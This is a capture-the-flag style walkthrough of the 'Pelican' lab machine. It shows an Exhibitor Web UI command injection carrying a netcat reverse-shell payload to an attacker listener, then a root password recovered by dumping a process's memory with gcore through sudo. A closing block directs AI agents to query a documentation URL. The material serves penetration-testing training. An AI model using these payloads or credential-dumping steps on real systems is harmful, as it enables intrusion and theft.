# Pelican

## Information Gathering

`sudo ./nmapAutomator.sh 192.168.197.98 all`

![](/files/YzEFua3o4ClezMLmcbIh)

### Service Enumeration

### HTTP (Port 8080)

![](/files/zD9NmKGTi8bzDpHAzSSA)

### HTTP (Port 8081)

![](/files/AD6kIJAPzBqXWfmzFHVG)

This version is v1.0

## Exploit

An exploitable command injection vulnerability exists in the Config editor of the Exhibitor Web UI versions 1.0.9 to 1.7.1. 

{% embed url="<https://www.exploit-db.com/exploits/48654>" %}

The steps to exploit it from a web browser:

* Open the Exhibitor Web UI and click on the Config tab, then flip the Editing switch to ON

![](/files/Gz82SAg0cryGcJtIeFl2)

* In the “java.env script” field, enter any command surrounded by $() or \`\`
* Payload: `$(/bin/nc -e /bin/sh 192.168.49.197 4444 &)`&#x20;

![](/files/WFLhl0xuWM4WeyGqMFSY)

* Start our listener
* Click Commit > All At Once > OK.

![](/files/zdimcqsXOU15rA5lnj9K)

Proof:

![](/files/FjoTmb9OxDnTSbvsNOIj)

## Privesc

### gcore

Running `LinEnum.sh` , we can see that we can run `gcore` as root without the need for a password!&#x20;

![](/files/WaiVlQGcEy3K8wVSNY6L)

&#x20;`gcore` is an application for dumping information out of memory for running processes.&#x20;

Looking down further, we see an interesting SUID file `/usr/bin/password-store`.

![](/files/yDxp9dfPzPgTHkJqZewm)

We can check if this is a running process that can be dumped with `gcore`.

`ps aux | grep password-store`

![](/files/Q0y1n31SJ3TOoizf1GRI)

We can attempt to dump this with `gcore` using the following command:

`sudo -u root /usr/bin/gcore -a -o /home/charles/output 495`

We can then move to the output destination directory and run the strings command to see if there is anything useful here.

Interestingly, in the output of the text, we see a field '001 Password: root:' and a password under it.

![](/files/qzYijzAw2mmybk55nBH3)

Using it, we can get root using the `su` command.

![](/files/dmUc28eAvVoFlptyECsL)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infintesky.gitbook.io/pentesting/proving-grounds/get-to-work/linux/untitled.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.